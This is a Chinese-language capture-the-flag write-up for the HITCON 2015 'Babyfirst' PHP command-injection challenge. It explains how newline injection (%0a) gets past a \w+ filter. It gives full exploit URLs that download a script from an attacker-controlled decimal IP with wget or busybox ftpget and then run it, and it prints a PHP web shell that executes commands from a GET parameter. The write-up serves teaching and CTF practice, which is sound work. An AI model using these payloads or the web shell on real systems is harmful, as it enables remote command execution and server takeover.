命令执行
题目1[HITCON 2015 - Babyfirst]
<?php
highlight_file(__FILE__);
$dir = ‘sandbox/‘ . $_SERVER[‘REMOTE_ADDR‘];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET[‘args‘];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match(‘/^\w+$/‘, $args[$i]) )
exit();
}
exec("/bin/true " . implode(" ", $args));
?>
代码分析:在目录sandbox下,新建以IP地址命名的目录。
$dir = ‘sandbox/‘ . $_SERVER[‘REMOTE_ADDR‘];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
代码分析:接受GET方式提交的参数args(数组),匹配数组中的每一项是否只有数字、字母、下划线组成,最后执行/bin/true命令,并且拼接args参数
$args = $_GET[‘args‘];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match(‘/^\w+$/‘, $args[$i]) )
exit();
}
exec("/bin/true " . implode(" ", $args));
根据目前情况已知:
- 根据循环遍历代码:
$i=0; $i<count($args); $i++
,可知$args
是一个数组 - 根据匹配代码:
preg_match(‘/^\w+$/‘, $args[$i]
,可知$args
中每一项必须是由数字、字母、下划线组成。【这里需要绕过】 - 根据执行代码:
implode(" ", $args)
,可知$args
中每一项都使用" "空格分隔,符合执行多条命令的条件。
解决思路
- 命令换行
两条命令执行,需要有分割,否则系统无法识别。
\n -> URL编码后是%0a,并且%0a也会绕过匹配代码。/?args[]=a%0a&args[]=touch&args[]=abc
,相当于执行了以下命令
/bin/true a
touch abc
这时候在IP地址命名的目录下面,新建了一个abc的文件
- IP地址匹配
IP地址使用点分十进制来表示,此时程序在匹配的过程中,会无法匹配到,因此可以使用IP地址的十进制格式绕过匹配。
例如:
127.0.0.1
2130706433
在线转换地址:https://www.whois365.com/cn/tools/decimal-ip/encode/127.0.0.1
注意:文件后缀名的点也会被匹配到,因此文件后缀无法出现。
解题方法
- 上传shell【wget、busybox->ftpget等】
http://127.0.0.1/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=abc%0a
&args[3]=cd
&args[4]=abc%0a
&args[5]=wget
&args[6]=IP地址%0a
或者
http://127.0.0.1/?args[]=aa%0a&args[]=busybox&args[]=ftpget&args[]=<IP_IN_DECIMAL>&args[]=script
- 执行shell
http://127.0.0.1/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=abc%0a
&args[5]=php
&args[6]=aa
或
http://127.0.0.1/?args[]=aa%0a&args[]=php&args[]=script
shell代码:
<?php
file_put_contents(‘shell.php‘,‘
<?php
header("Content-Type: text/plan");
print shell_exec($_GET["cmd"]);
?>
‘);
?>